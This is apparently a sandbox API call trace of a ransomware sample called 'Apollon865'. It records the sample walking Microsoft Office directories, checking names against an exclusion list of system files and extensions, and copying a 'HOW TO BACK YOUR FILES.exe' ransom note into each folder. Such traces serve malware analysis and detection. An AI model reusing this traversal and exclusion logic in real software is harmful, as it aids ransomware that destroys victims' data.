	[0070.322] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x41f9e7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x41f9e7b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0070.322] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.322] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.322] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0070.322] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x41f9e7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x41f9e7b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.322] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.322] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0070.322] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0070.322] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0070.322] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Analysis", cAlternateFileName="")) returned 1
	[0070.322] lstrcmpiW (lpString1="Analysis", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.323] lstrcmpiW (lpString1="Analysis", lpString2="Apollon865.txt.exe") returned -1
	[0070.323] lstrcmpiW (lpString1="Analysis", lpString2=".") returned 1
	[0070.323] lstrcmpiW (lpString1="Analysis", lpString2="..") returned 1
	[0070.323] lstrcmpiW (lpString1="Analysis", lpString2="windows") returned -1
	[0070.323] lstrcmpiW (lpString1="Analysis", lpString2="bootmgr") returned -1
	[0070.323] lstrcmpiW (lpString1="Analysis", lpString2="temp") returned -1
	[0070.323] lstrcmpiW (lpString1="Analysis", lpString2="pagefile.sys") returned -1
	[0070.323] lstrcmpiW (lpString1="Analysis", lpString2="boot") returned -1
	[0070.323] lstrcmpiW (lpString1="Analysis", lpString2="ids.txt") returned -1
	[0070.323] lstrcmpiW (lpString1="Analysis", lpString2="ntuser.dat") returned -1
	[0070.323] lstrcmpiW (lpString1="Analysis", lpString2="perflogs") returned -1
	[0070.323] lstrcmpiW (lpString1="Analysis", lpString2="MSBuild") returned -1
	[0070.323] lstrlenW (lpString="Analysis") returned 8
	[0070.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Library\\*") returned 52
	[0070.323] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="Analysis" | out: lpString1="Analysis") returned="Analysis"
	[0070.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0070.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x591440
	[0070.323] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fbf0
	[0070.323] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x62688, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EUROTOOL.XLAM", cAlternateFileName="EUROTO~1.XLA")) returned 1
	[0070.323] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.323] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2="Apollon865.txt.exe") returned 1
	[0070.323] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2=".") returned 1
	[0070.323] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2="..") returned 1
	[0070.323] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2="windows") returned -1
	[0070.323] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2="bootmgr") returned 1
	[0070.323] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2="temp") returned -1
	[0070.323] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2="pagefile.sys") returned -1
	[0070.323] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2="boot") returned 1
	[0070.323] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2="ids.txt") returned -1
	[0070.323] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2="ntuser.dat") returned -1
	[0070.323] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2="perflogs") returned -1
	[0070.323] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2="MSBuild") returned -1
	[0070.323] lstrlenW (lpString="EUROTOOL.XLAM") returned 13
	[0070.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis") returned 59
	[0070.324] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="EUROTOOL.XLAM" | out: lpString1="EUROTOOL.XLAM") returned="EUROTOOL.XLAM"
	[0070.324] lstrlenW (lpString="EUROTOOL.XLAM") returned 13
	[0070.324] lstrlenW (lpString="Apollon865") returned 10
	[0070.324] lstrcmpiW (lpString1="OTOOL.XLAM", lpString2="Apollon865") returned 1
	[0070.324] lstrlenW (lpString=".dll") returned 4
	[0070.324] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2=".dll") returned 1
	[0070.324] lstrlenW (lpString=".lnk") returned 4
	[0070.324] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2=".lnk") returned 1
	[0070.324] lstrlenW (lpString=".ini") returned 4
	[0070.324] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2=".ini") returned 1
	[0070.324] lstrlenW (lpString=".sys") returned 4
	[0070.324] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2=".sys") returned 1
	[0070.324] lstrlenW (lpString="EUROTOOL.XLAM") returned 13
	[0070.324] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="SOLVER" | out: lpString1="SOLVER") returned="SOLVER"
	[0070.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd08
	[0070.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x591640
	[0070.324] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd10 | out: ListHead=0x5b76b0, ListEntry=0x59fd10) returned 0x59fcf0
	[0070.324] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SOLVER", cAlternateFileName="")) returned 0
	[0070.324] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0070.324] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fd10
	[0070.324] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER"
	[0070.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0070.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd08 | out: hHeap=0x580000) returned 1
	[0070.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER") returned 57
	[0070.324] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER"
	[0070.324] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.324] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.329] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.329] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x41fc4910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x41fc4910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0070.329] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.329] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.329] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0070.329] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x41fc4910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x41fc4910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.330] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.330] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0070.330] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0070.330] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0070.330] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41fc4910, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x41fc4910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0070.330] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0070.330] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x6c340, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SOLVER.XLAM", cAlternateFileName="SOLVER~1.XLA")) returned 1
	[0070.330] lstrcmpiW (lpString1="SOLVER.XLAM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.330] lstrcmpiW (lpString1="SOLVER.XLAM", lpString2="Apollon865.txt.exe") returned 1
	[0070.330] lstrcmpiW (lpString1="SOLVER.XLAM", lpString2=".") returned 1
	[0070.330] lstrcmpiW (lpString1="SOLVER.XLAM", lpString2="..") returned 1
	[0070.330] lstrcmpiW (lpString1="SOLVER.XLAM", lpString2="windows") returned -1
	[0070.330] lstrcmpiW (lpString1="SOLVER.XLAM", lpString2="bootmgr") returned 1
	[0070.330] lstrcmpiW (lpString1="SOLVER.XLAM", lpString2="temp") returned -1
	[0070.330] lstrcmpiW (lpString1="SOLVER.XLAM", lpString2="pagefile.sys") returned 1
	[0070.330] lstrcmpiW (lpString1="SOLVER.XLAM", lpString2="boot") returned 1
	[0070.330] lstrcmpiW (lpString1="SOLVER.XLAM", lpString2="ids.txt") returned 1
	[0070.330] lstrcmpiW (lpString1="SOLVER.XLAM", lpString2="ntuser.dat") returned 1
	[0070.330] lstrcmpiW (lpString1="SOLVER.XLAM", lpString2="perflogs") returned 1
	[0070.330] lstrcmpiW (lpString1="SOLVER.XLAM", lpString2="MSBuild") returned 1
	[0070.330] lstrlenW (lpString="SOLVER.XLAM") returned 11
	[0070.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\*") returned 59
	[0070.330] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="SOLVER.XLAM" | out: lpString1="SOLVER.XLAM") returned="SOLVER.XLAM"
	[0070.330] lstrlenW (lpString="SOLVER.XLAM") returned 11
	[0070.330] lstrlenW (lpString="Apollon865") returned 10
	[0070.330] lstrcmpiW (lpString1="OLVER.XLAM", lpString2="Apollon865") returned 1
	[0070.330] lstrlenW (lpString=".dll") returned 4
	[0070.330] lstrcmpiW (lpString1="SOLVER.XLAM", lpString2=".dll") returned 1
	[0070.330] lstrlenW (lpString=".lnk") returned 4
	[0070.330] lstrcmpiW (lpString1="SOLVER.XLAM", lpString2=".lnk") returned 1
	[0070.330] lstrlenW (lpString=".ini") returned 4
	[0070.330] lstrcmpiW (lpString1="SOLVER.XLAM", lpString2=".ini") returned 1
	[0070.330] lstrlenW (lpString=".sys") returned 4
	[0070.330] lstrcmpiW (lpString1="SOLVER.XLAM", lpString2=".sys") returned 1
	[0070.331] lstrlenW (lpString="SOLVER.XLAM") returned 11
	[0070.331] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="SOLVER32.DLL" | out: lpString1="SOLVER32.DLL") returned="SOLVER32.DLL"
	[0070.331] lstrlenW (lpString="SOLVER32.DLL") returned 12
	[0070.331] lstrlenW (lpString="Apollon865") returned 10
	[0070.331] lstrcmpiW (lpString1="LVER32.DLL", lpString2="Apollon865") returned 1
	[0070.331] lstrlenW (lpString=".dll") returned 4
	[0070.331] lstrcmpiW (lpString1="SOLVER32.DLL", lpString2=".dll") returned 1
	[0070.331] lstrlenW (lpString=".lnk") returned 4
	[0070.331] lstrcmpiW (lpString1="SOLVER32.DLL", lpString2=".lnk") returned 1
	[0070.331] lstrlenW (lpString=".ini") returned 4
	[0070.331] lstrcmpiW (lpString1="SOLVER32.DLL", lpString2=".ini") returned 1
	[0070.331] lstrlenW (lpString=".sys") returned 4
	[0070.331] lstrcmpiW (lpString1="SOLVER32.DLL", lpString2=".sys") returned 1
	[0070.331] lstrlenW (lpString="SOLVER32.DLL") returned 12
	[0070.331] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis"
	[0070.331] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591440 | out: hHeap=0x580000) returned 1
	[0070.331] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0070.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis") returned 59
	[0070.331] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis"
	[0070.331] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.331] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.339] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.339] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x41feaa70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x41feaa70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0070.339] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.339] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.339] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0070.339] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x41feaa70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x41feaa70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.339] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.339] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0070.339] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0070.339] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0070.339] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x3bb60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ANALYS32.XLL", cAlternateFileName="")) returned 1
	[0070.339] lstrcmpiW (lpString1="ANALYS32.XLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.339] lstrcmpiW (lpString1="ANALYS32.XLL", lpString2="Apollon865.txt.exe") returned -1
	[0070.339] lstrcmpiW (lpString1="ANALYS32.XLL", lpString2=".") returned 1
	[0070.339] lstrcmpiW (lpString1="ANALYS32.XLL", lpString2="..") returned 1
	[0070.339] lstrcmpiW (lpString1="ANALYS32.XLL", lpString2="windows") returned -1
	[0070.339] lstrcmpiW (lpString1="ANALYS32.XLL", lpString2="bootmgr") returned -1
	[0070.339] lstrcmpiW (lpString1="ANALYS32.XLL", lpString2="temp") returned -1
	[0070.339] lstrcmpiW (lpString1="ANALYS32.XLL", lpString2="pagefile.sys") returned -1
	[0070.339] lstrcmpiW (lpString1="ANALYS32.XLL", lpString2="boot") returned -1
	[0070.339] lstrcmpiW (lpString1="ANALYS32.XLL", lpString2="ids.txt") returned -1
	[0070.339] lstrcmpiW (lpString1="ANALYS32.XLL", lpString2="ntuser.dat") returned -1
	[0070.339] lstrcmpiW (lpString1="ANALYS32.XLL", lpString2="perflogs") returned -1
	[0070.339] lstrcmpiW (lpString1="ANALYS32.XLL", lpString2="MSBuild") returned -1
	[0070.339] lstrlenW (lpString="ANALYS32.XLL") returned 12
	[0070.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\*") returned 61
	[0070.339] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="ANALYS32.XLL" | out: lpString1="ANALYS32.XLL") returned="ANALYS32.XLL"
	[0070.340] lstrlenW (lpString="ANALYS32.XLL") returned 12
	[0070.340] lstrlenW (lpString="Apollon865") returned 10
	[0070.340] lstrcmpiW (lpString1="ALYS32.XLL", lpString2="Apollon865") returned -1
	[0070.340] lstrlenW (lpString=".dll") returned 4
	[0070.340] lstrcmpiW (lpString1="ANALYS32.XLL", lpString2=".dll") returned 1
	[0070.340] lstrlenW (lpString=".lnk") returned 4
	[0070.340] lstrcmpiW (lpString1="ANALYS32.XLL", lpString2=".lnk") returned 1
	[0070.340] lstrlenW (lpString=".ini") returned 4
	[0070.340] lstrcmpiW (lpString1="ANALYS32.XLL", lpString2=".ini") returned 1
	[0070.340] lstrlenW (lpString=".sys") returned 4
	[0070.340] lstrcmpiW (lpString1="ANALYS32.XLL", lpString2=".sys") returned 1
	[0070.340] lstrlenW (lpString="ANALYS32.XLL") returned 12
	[0070.340] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="ATPVBAEN.XLAM" | out: lpString1="ATPVBAEN.XLAM") returned="ATPVBAEN.XLAM"
	[0070.340] lstrlenW (lpString="ATPVBAEN.XLAM") returned 13
	[0070.340] lstrlenW (lpString="Apollon865") returned 10
	[0070.340] lstrcmpiW (lpString1="VBAEN.XLAM", lpString2="Apollon865") returned 1
	[0070.340] lstrlenW (lpString=".dll") returned 4
	[0070.340] lstrcmpiW (lpString1="ATPVBAEN.XLAM", lpString2=".dll") returned 1
	[0070.340] lstrlenW (lpString=".lnk") returned 4
	[0070.340] lstrcmpiW (lpString1="ATPVBAEN.XLAM", lpString2=".lnk") returned 1
	[0070.340] lstrlenW (lpString=".ini") returned 4
	[0070.340] lstrcmpiW (lpString1="ATPVBAEN.XLAM", lpString2=".ini") returned 1
	[0070.340] lstrlenW (lpString=".sys") returned 4
	[0070.340] lstrcmpiW (lpString1="ATPVBAEN.XLAM", lpString2=".sys") returned 1
	[0070.340] lstrlenW (lpString="ATPVBAEN.XLAM") returned 13
	[0070.340] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="FUNCRES.XLAM" | out: lpString1="FUNCRES.XLAM") returned="FUNCRES.XLAM"
	[0070.340] lstrlenW (lpString="FUNCRES.XLAM") returned 12
	[0070.340] lstrlenW (lpString="Apollon865") returned 10
	[0070.340] lstrcmpiW (lpString1="NCRES.XLAM", lpString2="Apollon865") returned 1
	[0070.341] lstrlenW (lpString=".dll") returned 4
	[0070.341] lstrcmpiW (lpString1="FUNCRES.XLAM", lpString2=".dll") returned 1
	[0070.341] lstrlenW (lpString=".lnk") returned 4
	[0070.341] lstrcmpiW (lpString1="FUNCRES.XLAM", lpString2=".lnk") returned 1
	[0070.341] lstrlenW (lpString=".ini") returned 4
	[0070.341] lstrcmpiW (lpString1="FUNCRES.XLAM", lpString2=".ini") returned 1
	[0070.341] lstrlenW (lpString=".sys") returned 4
	[0070.341] lstrcmpiW (lpString1="FUNCRES.XLAM", lpString2=".sys") returned 1
	[0070.341] lstrlenW (lpString="FUNCRES.XLAM") returned 12
	[0070.341] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="PROCDB.XLAM" | out: lpString1="PROCDB.XLAM") returned="PROCDB.XLAM"
	[0070.341] lstrlenW (lpString="PROCDB.XLAM") returned 11
	[0070.341] lstrlenW (lpString="Apollon865") returned 10
	[0070.341] lstrcmpiW (lpString1="ROCDB.XLAM", lpString2="Apollon865") returned 1
	[0070.341] lstrlenW (lpString=".dll") returned 4
	[0070.341] lstrcmpiW (lpString1="PROCDB.XLAM", lpString2=".dll") returned 1
	[0070.341] lstrlenW (lpString=".lnk") returned 4
	[0070.341] lstrcmpiW (lpString1="PROCDB.XLAM", lpString2=".lnk") returned 1
	[0070.341] lstrlenW (lpString=".ini") returned 4
	[0070.341] lstrcmpiW (lpString1="PROCDB.XLAM", lpString2=".ini") returned 1
	[0070.341] lstrlenW (lpString=".sys") returned 4
	[0070.341] lstrcmpiW (lpString1="PROCDB.XLAM", lpString2=".sys") returned 1
	[0070.341] lstrlenW (lpString="PROCDB.XLAM") returned 11
	[0070.341] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM"
	[0070.341] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0070.342] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0070.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM") returned 53
	[0070.342] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM"
	[0070.342] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.342] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.348] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.348] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42010bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42010bd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0070.348] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.348] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
